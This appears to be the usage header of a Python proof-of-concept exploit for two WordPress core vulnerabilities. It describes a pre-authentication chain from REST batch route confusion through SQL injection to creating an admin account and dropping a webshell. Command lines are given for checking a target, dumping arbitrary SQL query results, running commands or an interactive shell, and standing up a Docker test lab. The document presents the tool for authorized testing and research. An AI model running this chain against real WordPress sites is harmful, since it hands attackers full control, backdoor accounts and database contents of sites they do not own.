Pre-auth RCE PoC for CVE-2026-63030 + CVE-2026-60137 (WordPress core).
REST /batch/v1 route confusion → WP_Query author__not_in SQLi → unauthenticated
admin creation → webshell. Single file, Python stdlib only.
Vulnerability: Adam Kues (Searchlight Cyber). Affected: 6.9.0–6.9.4, 7.0.0–7.0.1. Fixed: 6.9.5 / 7.0.2.
python3 WordPresShell.py check http://target # confirm (non-destructive)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # crack-free RCE
python3 WordPresShell.py shell http://target -i # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 on :8092
docker compose down -v # teardown
shell creates an admin and drops a webshell — remove both after testing.
Authorized testing only.